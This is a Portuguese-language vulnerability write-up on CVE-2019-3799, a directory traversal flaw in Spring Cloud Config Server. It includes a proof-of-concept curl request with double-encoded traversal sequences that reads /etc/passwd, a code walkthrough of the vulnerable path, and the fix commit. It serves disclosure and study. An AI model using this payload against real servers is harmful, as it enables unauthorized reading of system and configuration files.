CVE-2019-3799 - Spring-Cloud-Config-Server Travessia de Diretório < 2.1.2, 2.0.4, 1.4.6

O Spring Cloud Config Server é vulnerável a travessia de diretório / Path traversal / divulgação de conteúdo de arquivo < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config, versões 2.1.x anteriores à 2.1.2, versões 2.0.x anteriores à 2.0.4, e versões 1.4.x anteriores à 1.4.6, bem como versões mais antigas sem suporte, permitem que aplicativos sirvam arquivos de configuração arbitrários através do módulo spring-cloud-config-server. Um usuário mal-intencionado, ou atacante, pode enviar uma requisição usando uma URL especialmente elaborada que pode levar a um ataque de travessia de diretório.

Encontrado por Vern ([email protected])

Aviso de Segurança

• https://pivotal.io/security/cve-2019-3799
• https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

Análise Técnica

• https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

---

Prova de Conceito

1. Baixe uma versão vulnerável do Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config
2. Execute a aplicação

cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run

3. Explorar

curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

A vulnerabilidade

Como sempre, lendo a documentação podemos encontrar as informações relevantes:

Servindo arquivo de texto simples: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

O Config Server fornece esses através de um endpoint adicional em /{name}/{profile}/{label}/{path}, onde "name", "profile" e "label" têm o mesmo significado do endpoint de ambiente regular, mas "path" é um nome de arquivo (ex.: log.xml).

O servidor fornece esses através de um endpoint adicional em /{name}/{profile}/{label}/{path}

Outra informação interessante da documentação:

Com backends baseados em VCS (git, svn), os arquivos são copiados (checkout) ou clonados para o sistema de arquivos local. Por padrão, eles são colocados no diretório temporário do sistema com o prefixo config-repo-. No Linux, por exemplo, pode ser /tmp/config-repo-

O que acontece quando enviamos http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

1. A requisição é mapeada com

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}

2. A função retrieve chama a função findOne

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103

synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}

3. A função findOne é chamada:

public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}

4. Então a função retrieve lê o arquivo com StreamUtils.copyToString(is, Charset.forName("UTF-8"), que converte /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd para /etc/passwd, resultando na divulgação do arquivo /etc/passwd

---

Correção: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths

fixes gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)